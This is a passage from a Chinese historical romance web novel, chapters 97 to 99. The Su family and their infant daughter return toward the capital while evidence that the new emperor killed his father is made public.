但那崖底他们此生当是不会再去了,就当成一个奇闻传给后辈听听也好。 他们不会再去,也不会让暗卫们去。他们能够出来已经是侥幸,万一暗卫进去了被困个几十年,岂不是害了人家? “等以后岚姐儿长大了,就说给她听。”宣槿妤憧憬道,眉眼带笑。 苏琯璋亲了亲她的额头。 第97章 第97章传言过于离谱,但百姓们…… 既然宣槿妤、苏琯璋和岚姐儿都已经出了崖底,苏老夫人和许玉娘便也没有再留在这里的必要。 当初两人留下来,用的借口是:苏老夫人念着“死去”的幼孙、幼孙媳妇和还未出生的小重孙,因伤心过度而一病不起。 因着圣命不可违,一家子除了婆媳二人皆应诏入京——许玉娘是留下来照顾婆母的。 而日日进山寻人的侍卫队未撤,也是为了安老人的心,谁想竟真的将人盼回来了。 上苍保佑。 既然小夫妻俩平安归来,还带回当初宣槿妤腹中那个未出世的孩子,苏老夫人的心病 自然便不治而愈。 这消息不到半日的功夫,便已经传遍了整个淮招县。 因着一家三口的经历过于离奇,且苏家人当初被整个县城的百姓排斥的事情也已被有心人宣扬天下,当初坠崖的人未亡归来的消息便也飞快传遍大盛。 消息是越传越离谱的。 淮招县的村民们亲眼见着宣槿妤和苏琯璋带着岚姐儿从山中出来,侍卫们声势浩大地迎接,以为是仙神下凡。 这个消息一路北上,传到盛京城时,便已经变成了:这对小夫妻是天上的仙人下凡,那孩子是他们在天上的孩子,是个小仙童。 而他们坠崖之后,觉醒了仙人血脉,已经重归天庭,重位仙班。但得知祖母大病不起,他们便感动落泪,重新下凡,以宽慰老人的心。 实在孝心可嘉。 传言过于离谱,但百姓们似乎都相信了。 酒楼里说书先生说起他们的故事时,顾客便会盈门,惹得大大小小的酒楼食肆争相说着同一个故事。 苏家人和宣文晟一路北上,此时已经到了北丘府,离盛京城不远了。 白隼千里迢迢来寻过人,在宣槿妤他们一家三口脱困、出了崖底的翌日便已经将消息带到他们手中。 他们兴奋之余,加快了赶路的速度。 同行同吃同住了一年多,宣文晟和苏家人已经混得很熟了,相比一般的亲家,他们的关系要更亲密些。 两方很快达成共识,他们想要在淮招县中的人抵达盛京城前,扫清所有障碍。等到一切尘埃落定,才会更好地迎接淮招县中人的回来。 此时正是傍晚,他们抵达一处酒楼歇息。 下楼用膳时,听得说书先生在讲述宣槿妤苏琯璋和岚姐儿的故事,俱都哑然。 如此混淆了苏老夫人、许玉娘和侍卫们前去山中接人的时间线,倒是挺不错的,但这传言也过于失真了些。 又是天上仙神下凡,而后回归天庭,再重新下凡的,他们当神仙下凡是胡闹呢? “伯祖父、宣三叔,”慕哥儿听得苏声和宣文晟的吐槽,疑惑地问道:“你们知道天上的事吗?” 不然怎么知道他们是在胡说呢? 宣文晟呛了一口水,苏声看了一眼年幼天真的侄孙,忍不住笑,“嗯,慕哥儿问得好,伯祖父和宣三叔不知道天上的事。” 宣文晟已经停止咳嗽,闻言面色颇有几分古怪。 但瞧着小孩子一脸的纯稚,他便没有说什么。 倒是启哥儿,翌日在马车上,和堂弟说起了这件事。 “傻慕哥儿,伯祖父和宣三叔是不知道天上的事,但他们知道小叔叔小婶婶和小妹妹他们的消息啊!” 有白隼在,他们时常通信,彼此之间的近况都清楚。分明都是一样的凡人,哪里会是什么仙神回天庭再下凡呢? 慕哥儿想起每月准时寄来的小妹妹的画像,恍然大悟。 “慕哥儿四岁了,是该启蒙了。”苏琯武揽着妻子丁茜茜的腰,笑得蔫坏。 他这个儿子受到他五哥桓哥儿日日灌输“读书最不好玩儿”思想的影响,最是讨厌读书。 去岁在刑部死牢里他还乖乖听伯父苏声的教导,学一学三字经;但后来一路流放,慕哥儿年纪小小,却要走上一整日,虽然中途有休息,但到底疲累。 故而苏声、苏二婶和丁茜茜都没有再提读书的事。 苏琯武和两位兄长追上一行人之后,听得丁茜茜的话,想着儿子遭了罪,便将开蒙的事延后。 后边慕哥儿都跟着哥哥姐姐们开始习武了,却仍旧排斥读书,长辈们也由着他。毕竟孩子太小,不急于一时。 只是,昨晚慕哥儿的反应太过天真,才让他们意识到,是时候该为他开蒙了。 苏家的子孙,八岁就该上战场体验战争的残酷,四岁的孩子,不该还如此蒙昧。 丁茜茜颔首,仿若没有看出丈夫想看儿子好戏的坏心思。 她看了一眼一无所知、被兄姐们逗得哈哈笑的儿子,道了句:“读书明理,是该好生教导了。” 只是,她抬眼,补充道:“就劳烦夫君你为他启蒙了。”看儿子好戏可以,那便由你来哄人罢!将人折腾哭了,也该自己受着。 丁茜茜慢条斯理地拂开了苏琯武放在她腰间的手。 一家子在淮招县休整了三日,行李皆已收拾妥当,就等苏琯璋下令回京。 暗卫们、侍卫们经过这一年多的另类训练,在生活琐事上也手脚麻利许多,加上宣文晟留下的商队中人的协助,很快将行路途中的一众琐事打理得妥妥贴贴。 体贴周到得,堪比自幼跟在宣槿妤身边的四个贴身丫鬟。 苏十二和苏十三来禀告时,宣槿妤脸上的惊讶就没下去过。 二人走后,她坐在苏琯璋腿上,戳着他的胸膛,“你的暗卫们竟还会这些生活杂事?” 以前苏十三跟在她身后的时候,也没见她有这样的本事。 苏琯璋握住她不安分的手指,亲了亲,“也是你的暗卫们。”他说。 “以前会一点,毕竟是要出任务的人。”他解释道。 出门在外,总有住不上店、吃不上饭的时候,不会点生活技能,还没等完成任务呢,可不就得狼狈不堪,或者饿死自己了? “现在这样周到妥帖,想来是我们被困在崖底的十个月里,他们和三哥商队的人学的。” “槿妤若是还有疑问,明日将他们唤来一问便知。” 苏琯璋不说这句话还好,宣槿妤总归很少质疑他的话。他这般一说,宣槿妤便将信将疑起来,怀疑这蔫坏的男人在糊弄自己。 于是翌日,宣槿妤找到了苏十三,一问,得到她的赧然回应,才知苏琯璋猜测得果真不错。 “少夫人,总归我们无事可做,闲着也是闲着。”苏十三难为情地挠了挠头。 毕竟男主子、女主子都出不了山,他们又常一个、两个月都接不到一个任务,可不就闲下来了? 守护宅子可还轮不到他们这批人,都被苏声、苏琯煜三兄弟身边的暗卫们抢先了。 谁让他们的主子年纪最小呢?连带着,论资历,他们也得排在其余一众暗卫们后头。 而进山寻人的任务也轮不到他们,太大材小用了。 苏十二、苏十三为首的男、女暗卫们郁闷了许久,日常训练之余,便逐渐学着和商队的人学习如何打理庶务,也算是不闲着了。 苏十三说着越发不好意思,他们是暗卫,让主子知道他们一批人“不务正业”,到底心里发虚。 宣槿妤看出她的窘迫,笑道:“多学一些东西,总归不是坏事。” 她揽着在她怀里扑腾着,看样子是想往苏十三怀里扑的女儿,有些无奈,“乖乖岚姐儿,娘亲要抱不住你了。” 苏十三偷偷瞥了一眼小小姐,试探着问道:“少夫人,不若属下带小小姐到外面玩儿?” 小小姐可喜欢让她抱着飞了。 宣槿妤问她:“你今日的差事都忙完了?” 她可记得今晨起床时,苏琯璋说要给每个暗卫安排任务的事。免得他们忙庶务忙得不亦乐乎,将本职暗卫的差事给忘了。 苏十三忙不迭点头,“少夫人,属下已经忙完了,陪小小姐玩一会儿不碍事的。” 她这样说,宣槿妤便将岚姐儿递了过去,“也别太惯着她,飞个两圈可以了。” 岚姐儿咯咯笑着,毛绒绒的小脑袋贴着苏十三,让她高兴不已。 宣槿妤瞧着苏十三的笑颜,若有所思。 夜里睡下前,她和苏琯璋说道:“我发现暗卫们都挺喜欢岚姐儿的。” 以前个个都是学了他们的主子,没什么表情;现在,逗岚姐儿的时候,一个个脸上表情可都丰富得很。 “莫不是以前你太冷清,让他们不得不压制自己的情绪?”宣槿妤趴在他胸膛上,脸上绯色未散,已经开始取笑他。 苏琯璋揉按着她酸软的腰肢,含笑着应了。 宣槿妤不知是被他按到了痒处,还是被他承认这件事逗乐,笑倒在他身上,惹得他眸色又深了许多。 本该睡下的时辰,又往后挪了又挪。 岚姐儿夜里睡得沉,她爹爹娘亲再怎样闹腾,也不会吵到她。从这一点上看,她虽然白日里是个皮孩子,但夜里可真是个乖孩子。 临行前一晚,苏琯璋找了许玉娘,和她说了自己的打算。“母亲,我已经决定了,日后只会有岚姐儿一个孩子。” 许玉娘定定地看了苏琯璋好一会儿,才点点头,“这是你们两口子之间的事。只要槿妤没意见,我们这些做长辈的,也不会说什么。” 知子莫若母,许玉娘一听便知道,这个决定是她儿子做下的,儿媳不过心疼她夫君,才同意罢了。 “槿妤能够同意你这个决定可不容易,她都是为了你。你莫要再欺负她。”许玉娘叹息着说。 婆媳近五年,她又怎会看不出宣槿妤对孩子的喜欢? 苏琯璋颔首,又听得许玉娘说道:“你如今这样便很好,回了盛京城,也莫再像以前那样待她才是。” 那样冷冷清清、沉默寡言的夫君,莫说槿妤这个娇生惯养的姑娘受不住,她身为他的母亲,也经常被气到。 “若说你一直清清冷冷的便也罢了,如今见识过你温情的一面,再恢复回去,她会真受不住的。” 得到再失去,最让人痛苦。 苏琯璋看着满腔担心的母亲,郑重地回应道:“母亲,儿子不会的。” 以前是他不好,如今夫妻之间两情相悦、恩爱不疑,膝下又有可爱幼女,他不会蠢到毁了自己的幸福。 送走苏琯璋之前,许玉娘看着身上气质变化颇大的儿子,有些感慨,“若当初你早早就改了以前那讨人嫌的性子,也不至于和槿妤生生蹉跎了几年。” 说着,她想起这儿子以前都是一副什么德行,便有些没好气,“亏得你娶了这么好的媳妇儿,日后自当珍惜才好。” 苏琯璋不自在地摸了摸鼻子。 他才和母亲郑重应承过,才过了多久?又被嫌弃,旧事重提。 即便如此,他也重新应了一回,才将许玉娘哄得火气散尽,回了房休息。 翌日,白隼将从宣文晟手里取得的书信交到苏琯璋手里,便歪着头享受着宣槿妤的摸头、揉肚去了。 苏琯璋很快看完信,对齐齐看过来的苏老夫人、许玉娘和宣槿妤说道:“是京中来信,我们没事的消息已经传到盛京城了。” 不要小看小道消息的传播速度,在有心人的传播下,坠崖的夫妻俩无事、还携幼女出山的消息竟是比纵马疾行的暗卫还早传到京中。 毕竟,大盛玩飞鸽的富贵人家也是不少的,可不比马匹快? 且这种与己无关的消息,除因带有几分传奇色彩而让人颇感兴趣外,也不会引来旁人关注,将那飞鸽打落。 苏老夫人点点头,“新帝那里是何态度?” 早前她听长子和长孙的分析,担心新帝再发疯,污了宣槿妤的清名,和混淆岚姐儿的身世,才同意散播一家三口死亡的消息。 如今一家三口无事出山的消息传入宫中,他不会再发疯罢? 难说,毕竟是以那样的手段登上帝位的人。 第98章 第98章简直有损她贵夫人的形象 “新帝态度不明,但早朝时亲口和岳父道了恭喜。”苏琯璋回答,担心地看了宣槿妤一眼。 但宣槿妤只是静静地听着,便是听到新帝的名字,也没半点情绪波动。 守孝五个月,她已经学会了将所有仇恨都压在心底。苏琯璋说得不错,只有将他从那帝位拉下来,才能让他为外祖父的死付出代价。 她可以等。 许玉娘顺着苏琯璋的视线看向宣槿妤,转了话题,“信上怎么说?” 苏琯璋看出妻子情绪安好,便收回视线,闻言答道:“岳父说,苏家、宣家和林家都已经准备妥当,随时迎我们入京。” 得知他们终于出了崖底,几家人都十分高兴,早早地就做好了迎接他们回京的准备。 苏家那里,林清婉惦记着一家子还未到京城,还特意走了一趟,发现管家早已领着一众下人,将府中内务打理得事事顺当。 “夫君说,他们再有两日便可抵达京城。”许玉娘接过苏琯璋手中苏声写来的信,和苏老夫人说道。 苏琯璋看过来,许玉娘意识到什么,瞥了一眼苏声写信的时间,改口道:“夫君和孩子们明日便可入京,届时会有人南下来接应我们。” 苏老夫人点点头,放下了心,“不错。” 苏家人若是顺利入京,那么他们回京路上,便定不会再有暗杀的事情发生。如今全天下百姓都在看着呢! 传言虽离谱,但到底吸足了百姓们的视线,也算是一件好事。 话虽如此,以防万一,苏声还是安排了暗卫南下护送他们。 “璋小子,何时出发回京,你来安排。”苏老夫人对苏琯璋说道。 如今已经是七月中下旬,入了秋,天气已经微凉,大家都换了秋衣。 他们还带着未满周岁的岚姐儿,这一路的行程定然会十分缓慢。有依可循,像苏琯绵和孩子们一路躲躲藏藏,从佟城到淮招县的时间,用了三个月。 他们从淮招县入京,虽然用不了三个月,但往后天冷路难行,也至少得用两个月罢! 再不出发,大雪封路之时,他们怕就要被困在路上。 “我们明日便出发。”苏琯璋很快做了决定。 行李细软早就收拾好,他们随时都能走,能早一日便是一日。至于从盛京城疾行南下护送他们的人,路上再汇合便是。 “祖母、母亲,我想在京城给岚姐儿办周岁宴。”他说,这是他和宣槿妤商量过后的决定。 算算时间,若是走得快些,他们可以赶在九月底入京,当还来得及。 岚姐儿生在崖底,长在崖底,满月、百日都只有他们夫妻俩陪伴着她、给她庆祝,总不能连周岁也在路上度过,不能为她大办。 太委屈她了,他们舍不得。 苏老夫人和许玉娘连声应好,“好,我们给岚姐儿办个热热闹闹的周岁宴。” 说着二人便兴致勃□□来,“我现在就给你父亲写信,让他们准备好。”许玉娘手中信还未放下,已经开始思索宴请的宾客单子。 苏老夫人在一旁给她作参考,时不时附和一声,“嗯,不错。” 苏琯璋和宣槿妤被婆媳二人拉着,也偶尔会说上一两句。 白隼不耐烦听他们叽叽喳喳地讲话,又听得厅外岚姐儿隐隐约约的笑声,很快飞了出去。 不多时,岚姐儿惊喜的“哇啊啊啊”的叫声传入厅中,这回清晰了很多,当是苏十三带着她朝这边来了。 正议事的一群人脸上便不禁带上了笑意。 翌日清早,淮招县的宅子大门被沉重的铁锁锁上,一行人便离开了这处居住了将近一年的居所。 岚姐儿是第二次坐马车,一路上可兴奋得很。 沿途洒落了她稚声稚气的婴语,和着一声声的“爹爹”“娘、娘”,还有刚学会的“祖、祖”。 也不知道是在叫谁,但她一发出“祖”的声音,许玉娘和苏老夫人便不约而同乐呵呵地回一句:“诶”,显然她们都只当岚姐儿是在叫自己。 可将宣槿妤逗得开怀不已。 “这一路可真热闹。”她对苏琯璋说道。 光岚姐儿一人,就足够活泼好动。自她可以扶着人慢慢站稳了身子之后,便不大爱爬了,总是蠢蠢欲动地想挪动她的小短腿,试探着走路。 然后无一例外地,总是“啪叽”一声,摔回她父亲怀里。 “在祖母和曾祖母面前,可不能这么皮。”宣槿妤捏了捏她的小脸儿。 马车都还在行驶呢!她这么闹腾可不行。 若许玉娘或苏老夫人没能扶住她,摔了她可疼。若二人接住了她,将两位长辈砸伤了可如何是好? 岚姐儿在淮招县宅子里住了十来日,和苏老夫人、许玉娘还有府中一众暗卫、侍卫都有接触,夫妻俩总算将女儿的神力探索清楚了。 这孩子,还这么小呢,竟会“看人下菜碟”。 若是宣槿妤或是苏老夫人、许玉娘抱着她,她便会如同一名普通婴孩,玩闹起来也不会伤着三人。 但若是苏琯璋或是暗卫、侍卫们和她玩儿,她高兴起来,一身神力能将人砸得手臂都红肿了。 “苏十二的手没事了罢?”宣槿妤问道。 那日苏十二抱着岚姐儿飞时,一个不察,便被兴奋到不行的岚姐儿一个挥手,砸肿了左臂,抹了好几日药膏。 虽然那日苏十三和她回禀说苏十二无事,抹了药膏便好了许多;但宣槿妤将信将疑,她女儿可是连她父亲那样皮糙肉厚的人都能砸疼出声的人,岂会无事? 那日她见着苏十二表情都失控了。 苏琯璋扶着怀中不停地扭着小身子的岚姐儿站稳,闻言回道:“无事,习武之人,没那么脆弱。” 他抬眼看她,“你也不必忧心,他们跟岚姐儿玩儿也是开心的。顺其自然便是。” 宣槿妤不知道,他们苏家人和暗卫们自小都经历过什么样的训练,区区小伤,他们哪里会放在心上? 暗卫和侍卫们一路从京中跟到淮招县,自是知晓他们看着娇气不禁风的女主子宣槿妤,有着一身武人都难以匹敌的神力。 如今得知小小姐继承了她的神力,只有高兴的份儿,哪里会计较自己被砸伤的事。 宣槿妤点点头,看着女儿上半身被她父亲稳着,穿着小鞋子的一双脚已经重新开始不安分地往前探着,失笑。 “你这皮孩子,真是一刻不停歇。”精力也过于旺盛了些。 才摔过几回呢!兴许是每次都被她父亲抱住了,也没摔疼,甚至还觉着很好玩,所以总也不长记性。 苏琯璋稳稳地撑在岚姐儿腋下,随她蹦跶着,闻言轻笑,“才出生那会儿安安静静的,我们还担心她日后过于乖巧被人欺负。” 如今倒好,这位闹腾的,都让他们开始担心她将长辈折腾坏了。 岚姐儿没听到自己的名字,但听到爹爹在头顶的声音,疑惑地抬头看了他一眼。 “没说你坏话。”苏琯璋面不改色地糊弄女儿,“说我们岚姐儿真厉害。” 岚姐儿满意极了,兴奋地“呀呀呀”叫个不停。 不多时,马车停下,充当车夫的侍卫敲了敲车厢门,“公子、少夫人,夫人来了。” 苏琯璋打开车厢门。 许玉娘跳上马车,迫不及待地奔向她的孙女,“岚姐儿,祖母带你过去跟曾祖母玩儿好不好?” 她冲单脚吊在苏琯璋身上的岚姐儿伸出双手,“祖母给你准备了好玩的,白隼也在我们那马车上。” 岚姐儿歪着头看了她一眼,也不知道有没有听懂祖母的话。 苏琯璋扶着她站好,她回头去看父亲的眼神。 苏琯璋摸了摸她的头,“跟祖母去玩儿罢!”他温声说道,语气十分柔和。 岚姐儿将头转回来,又去看宣槿妤。 宣槿妤冲她点了点头。 于是岚姐儿便放心地扭着小身子,扑到了伸手多时的许玉娘怀中。 “我们岚姐儿是个机灵的。”许玉娘从头看到尾,十分欢喜,亲了亲她的小手,“就是要这样,没有爹爹娘亲允许,不要跟旁人走。” 她说完便对着小夫妻俩说道:“岚姐儿我带走了,你们放心便是。” 苏琯璋颔首,“母亲多虑,岚姐儿在母亲和祖母那儿,我们自是放心。” 许玉娘盯着他看了好一会儿,笑着抱着岚姐儿转身便下了马车,回头跟婆母说道:“璋小子当了父亲,竟也有个活人样儿了。” “他居然会和我说客套话。”许玉娘重复了儿子方才的话,乐得不行。 知道她儿子变了许多,但不曾想过,竟还能看到他这样一面。“倒和他大哥有几分相似了。”许玉娘感慨。 苏老夫人摸了摸曾孙女细软的发丝,失笑,“可不能在孩子面前说这个。” 岚姐儿现下还小,若她听懂了祖母话中对父亲的埋汰,可说不准心里就要恼了祖母了。 岚姐儿盯着曾祖母和祖母看了好一会儿,冲她们甜甜一笑。 许玉娘心软得不行,亲了孙女好几口。 “来来来,岚姐儿,曾祖母教你走路。”苏老夫人方才听前面的马车中传出的小奶音便十分心痒,此刻看着活泼好动的小娃娃,哪里还忍得住。 洒落道路两旁的软糯清脆小奶音依旧,只是换了一辆马车。 宣槿妤窝在苏琯璋怀里,握着他的大手把玩。 “难得这样清闲。”她叹息。 养个娃娃可真不容易,时时刻刻都惦记着这个小人儿,担心她饿了、尿了、拉了,思索着她怎么又哭了,是不是身上不舒服了? 没生孩子之前,宣槿妤过的是十指不沾阳春水的日子,说话行事也十分端雅。 但生了孩子,她和苏琯璋的对话便成了: “夫君,孩子尿了。” “夫君,孩子拉了。” 简直有损她贵夫人的形象。 现下回到山外的世界,有祖母和婆母两个人争着照顾孩子,偶尔还有女暗卫帮忙抱孩子,她才松快了许多,短暂地找回了自己还是个端庄娴雅少夫人的形象。 苏琯璋听着宣槿妤抱怨,闷笑着将她揽紧,“你在我心里,永远是知书达理、端雅大方的贵夫人。” 不过,端庄娴雅可真算不上,苏琯璋识趣地没有揭穿她。 这男人变化真快,之前木讷寡言到她都多次闹和离他都没改,如今竟也会说些甜言蜜语了。 宣槿妤摸了摸他仿佛沾了蜜的唇,贴了上去。 苏琯璋笑着张开唇,很快反客为主,吻得她气喘吁吁,呼吸急促起来。 岚姐儿被她曾祖母和祖母抱走亲香去了,此时无人打扰小夫妻俩,马车里顿时便变得十分暧昧且缠绵。 …… 第99章 第99章新帝弑父杀君的罪行曝光…… 一路北上的马车离开淮招县没几日,盛京城中有信传来。 苏家人和宣文晟正如当日信中所说,在他们离开淮招县当日便抵达盛京城,回了苏国公府,宣文晟也回了宣尚书府。 但这不是重点。 苏声和宣兆的来信,皆说了同一件事: 新帝弑父杀君的罪行曝光了。 一切皆如原计划在进行。 苏琯璋摸了摸用翅膀拍着他手臂的白隼,将一盘子生肉推过去给它,“辛苦你了。” 本是山林凶禽,最是自由。 这近一年的时间里却勤勤恳恳地替他们山外崖底来回传信、送物资。如今还跟着跨越了半个大盛,也是为了替他们传讯。 白隼愉快地抓起那盘子,飞出了马车。 不一会儿,后方车厢里传来岚姐儿乐呵呵的尖叫声,和着一声声不大流利的“白,白”,当是在和白隼在玩儿。 苏琯璋面上柔和下来,拆开了信封。 “父亲说,中元节祭祀那日,众目睽睽之下,盛誉弑君杀父的证据出现在了祭台上。” “当时拿到证据的人是覃文渊山长,他直接便将证据递到了大理寺。” 覃文渊是盛京城中最有名望的兰山书院的山长,原为先太子心腹,担任国子监祭酒一职。因博古通今、刚正无私,颇得帝王信任,也颇得学子推崇。 但他却因先太子被诬谋反却不等三司会审而自戕之事,愤而辞官,转头在盛京城开了一间书院,取名“兰山”,成了兰山书院的山长。 二十多年的时间,他将兰山书院经营得声名超过国子监,成为天下学子皆向往的学府。 苏琯璋拿出火盆,点燃了信纸。 “大理寺原是不敢接这等指认在位君王的证据的,”苏琯璋察觉到宣槿妤不佳的心绪,将她揽入怀中,“但当日顺河流下的河灯出现了‘盛誉弑父杀君’的字样,百姓们都瞧见了。” 大理寺再怎么公正无私,到底碍于帝王之威;审判帝王这等事,若无人牵头,他们哪里敢接。 但全城百姓都看到了河灯组成的字样,更是知道德高望重的覃山长将在祭台上拿到的证 据交到了大理寺。 大理寺若半点反应都不给,光城中百姓们的唾沫星子,就能将大理寺的人淹了。 覃文渊也是当过官的人,知道他们的难处,并不为难,只是转头就将默记下来的证据写了下来。翌日,兰山书院学子们手书的证据便传遍了盛京城。 当日上早朝的臣子们更是人手一份——覃文渊亲手派的,他就站在臣子们上朝的必经之路上,见到朝臣就发。 这样惊世骇俗的举动,直接将朝臣们都震住了,待看过那证据,更是骇得不轻。 待要抓住人细细盘问,已经快到早朝的时辰,再耽搁不得,只得带着满腹的惊骇离去。 “覃山长怎么敢这样做的?”宣槿妤任苏琯璋抱住她,将头靠在他怀里,十分不解。 “就没人敢出来阻止他吗?” 当众散播帝王罪名,可是死罪。 臣子们惊骇之下没反应便也罢了,禁卫军和皇宫里的狗皇帝盛誉都没有反应的么? 苏琯璋轻笑,“覃山长有先帝御赐的金腰带,更有正明帝御赐的打皇鞭,上打昏君、下打奸臣,哪里敢有人抓他。” 覃文渊不正是在行使正明帝赋予他的权利么? 正明帝,便是先帝和先太子之皇父、盛誉的皇祖父。他的皇命,盛誉确实不敢违抗。 纵然恨得要死,也只得暗中忍耐,只吩咐人将证据来源尽快查清;他则抓着那些证据,一页一页看过去,呼吸急促,目眦欲裂。 他当年分明都将证据掩埋了,埋在谁也不敢靠近的地方,究竟是谁,知道了这些事? 四年多了,他登基四年多,帝位已经稳固,此时将这些事情曝光,意欲何为?还能动摇他的帝位么?谁敢? 想通这些,盛誉呼吸慢慢平稳下来,将抓烂的纸张一张张平铺好,冷笑一声。 先帝的皇子里边,就他一个全乎的,其余的非死即残,便是证实了他弑父杀君,又如何? 皇室里边可没有再能当皇帝的人。 于是,翌日早朝上,当大理寺卿出列,将手中覃文渊手抄的证据呈递上去,请盛誉给个解释时,盛誉可淡然得很。 “爱卿乃大理寺卿,明辨是非、查清案件乃是你的职责。如今倒好,收到这等污蔑君王的罪证,不去找祸乱朝廷的罪魁祸首,竟问起朕来了。” “朝廷给你们发放俸禄,是这样养你们一帮蠢货的?下去。” 一向公正无私的大理寺卿劈头盖脸被训了一通,脸面全无。其余臣子眼观鼻鼻观心,纵然心里都有几分思量,但到底不大好开口了。 要怎么说?请陛下容我等臣子查清您是否清白么?他们又不是覃文渊那等正明帝和先帝都爱护拉拢的存在。 除非是想找死,还是拖着家中老小或者全族一起找死。 马车中,信纸在火盆中静静燃烧,烈烈火光倒映在他们眼中。 宣槿妤听得盛誉如此无耻之言,到底功夫修炼不到家,气得身子都在颤抖。 她深吸口气,“朝臣们是何反应?” 苏琯璋掩下眸中的冷淡,摩挲着她的后背,边替她顺着气,边温声道:“朝臣的反应还不明,明面上大多是将信将疑之态。” “明面上?” “嗯,但暗中已经不少有人联系了父亲和岳父,想来是信了的。”苏琯璋答道,“倒是宗人令诚亲王,听闻消息的第一时间便进了宫。” “盛誉封锁了宫中的消息,没有一名宫人知道二人在即正殿谈了什么。只知道,诚亲王出宫时面色倒还自如。” 宣槿妤蹙眉,“他说服了诚亲王?” “看着是这样。”苏琯璋说,担忧地摩挲着她的面颊,“无妨,总归我们手上还有其他证据,三哥他们会看着动手的。” 如今放出来的证据,不过是最不要紧的那部分而已。 宣槿妤点点头,沉默下来。 马车行过淮招县地界,离开了连绵的群峰时,天气已经十分凉爽。 已是八月,岚姐儿十个半月了,已经长出了三颗小米牙。下边正中两颗,上边一颗。 “都长的大牙?”宣槿妤捏了捏女儿胖嘟嘟的小下巴,孩子以为娘亲在和自己玩儿,咯咯地笑了。 她这咧嘴一笑,口水便止不住地流了下来,苏琯璋用挂在她脖子上的口水巾给她擦了擦。 “抱,抱。”岚姐儿朝父亲伸出双手。 苏琯璋笑着将她从车厢地上抱了起来,“方才不是还赖在地上不肯起来?”他取笑女儿。 岚姐儿才听不懂爹爹在说什么,高高兴兴地在他怀里手舞足蹈着。 宣槿妤在一旁含笑看着,摸了摸女儿的头。 苏琯璋偏头看她,宣槿妤会意,也伸手在他头上摸了摸。 岚姐儿手脚不动了,盯着娘亲看了好一会儿,再回头看爹爹。接着,她踩着苏琯璋的腿站了起来,伸着小手摸了摸他的头。 苏琯璋:“……” 宣槿妤:“噗嗤。” 岚姐儿见娘亲笑了,觉得自己做得对极了,开开心心地拍起小手来,“爹、爹、娘、娘”地乱叫着。 她叫一声,苏琯璋和宣槿妤便应一声,神情未见半点不耐。 正当一家三口温馨的这当时。 “先帝当真是陛下毒杀的?”一声止不住的惊呼,从马车外传来。 接着便是大力的一声“啪”,和一声“嘶”。 “你疯了?这么大声作甚?”是另一人的声音。 宣槿妤、苏琯璋对视一眼。 苏琯璋将在他腿上撒野的岚姐儿抱了下来。 岚姐儿不明所以,但不知是否受到爹娘情绪的感染,不闹也不说话了;只安静地窝在爹爹怀中,抓着他胸前的衣裳,抠着绣纹玩儿。 苏琯璋随她抠,静静地听着车厢外的谈话。 原先惊呼的那人听着有些不服气,“这不是全天下都知道的事么?你怕什么?” “盛京城里在抓人,这县衙可不敢抓人。” 另一人头痛,“得得得,小祖宗,知道你家世好,但能不能别这样大声了?别人都看过来了。” “嘿,就是要人人都听见才好!他抓得了一个人,抓得了天下人么?” …… 马车速度不变,辘辘而行,很快远去。 “盛京城里的事都传到这里来了。”苏琯璋在乖乖的女儿额头上亲了一口,对宣槿妤说道。 他们如今离盛京城还远着,约莫还有两千三百多里路,今日这一路已经听得不少相似的交谈了。 一国之君是靠着弑父杀君登上帝位的,百姓们可都议论纷纷。 虽然坐在帝位上的是谁,都不影响到老百姓们的生活;但是,一国之君品行有瑕,到底不那么令人放心。 他连君父都能杀,若有朝一日,这天下不再被他放在眼里,岂不是想杀谁便杀谁? 傍晚马车行至酒楼前歇息,还听得隔壁房中有人在小声议论着苏家之事。 “当初苏家无罪流放我就觉着不妥,果真。”压低了的男声唉声叹气,“当今竟是这样不忠不孝之徒,天下危矣!” 听着像是年纪略小些的男音响起,“大盛以孝治国,如此国君,不忠也罢!今年的府试,我不参加了。” 接着便是此起彼伏接连好几道或是劝阻、或是赞同的声音。 “哎哎哎,十年苦读,可别轻易放弃。” “说得对。‘学成文武艺,货与帝王家1。’帝王既如此,不亦值得替他卖命。” “非也非也,我等十年寒窗苦读,不就是为了有朝一日,入朝为官?或是荣耀家族,或是为民请命。当下岂能因如此未定之事放弃考试?” …… 酒楼的房子如此不隔音,宣槿妤和苏琯璋面面相觑。 非礼勿听,不是他们不想回避,实在是戒奶不成功的岚姐儿这当会儿奶瘾犯了,缠着宣槿妤要喝奶。 岚姐儿什么也不懂,见爹爹娘亲忽然安静了,诧异地抬头看了他们一眼。 宣槿妤摸 了摸她的头,“专心些。” 岚姐儿像是听懂了,很快又继续“咕噜咕噜”慢吞吞地小口吞咽起来。 “看样子不像是想喝奶的样子,就是馋。”苏琯璋撑在宣槿妤身后,替她托着女儿,有些无奈。 分明前几日都不想喝奶了,他想着不如就顺势让她断奶好了,免得槿妤日日涨奶都涨得十分难受。 可谁想,岚姐儿今日粥都不想吃了,非要扒着她娘亲的衣裳,要喝奶。 苏老夫人和许玉娘便让店家留了菜,让他们先上来了。 “弑君杀父的罪名还未澄清,便在京中大肆抓人。当今如此行事,和那昏庸的暴君有何区别?” 好大的一声,伴随着“砰”的一声重物落地的声音;和着七手八脚扶了又倒、倒了又扶的杂音,夹杂着几句劝导的话。 “都别拉着我,我今日就要说个痛快。” 接着便是“哐当”“乒乓”“咔擦”……各种乱七八糟的声音,当是一群人将桌上的东西都摔到地上去了。 隔壁的人明显是喝醉了,一群醉鬼,方才还有点收敛,如今行事是一点章法都没有了。 苏琯璋正想出声提醒,却见岚姐儿像是被一连串的声音惊到,松开了嘴。她毛绒绒的小脑袋直往宣槿妤怀里钻,小手紧紧扒着她松散的衣襟。 再顾不得隔壁的人,他忙将妻子抱稳。 宣槿妤也顾不得自己,忙将女儿抱起来,“乖乖岚姐儿,别怕,娘亲和爹爹都在这里。” 苏琯璋从后面伸过手来,“我来抱。” 从娘亲怀里到了爹爹怀里,岚姐儿也没闹,小脸贴在苏琯璋肩上,一双小手搂着他的脖子。 “啊啊啊!”找到了安全感,她便抬起头来,凶凶地朝着隔壁墙壁喊了几声。 像是被掐住了脖子般,隔壁房间的声音忽然便消失了,四周安静得厉害。 宣槿妤正拢着衣襟,看女儿不像是被吓到的样子,放了心;再见她那奶凶奶凶、自以为很有气势的样子,忍不住笑了。 看样子是不会再喝奶的了。 宣槿妤穿好中衣,任由苏琯璋单手替她穿上襦,点了点女儿的小鼻子,“幸好是个胆大的。” 岚姐儿眨了眨眼睛,笑了起来,再不见方才那“凶巴巴”的小模样。 她长得极像宣槿妤,但每个见到她的人,第一眼总觉得她像苏琯璋。 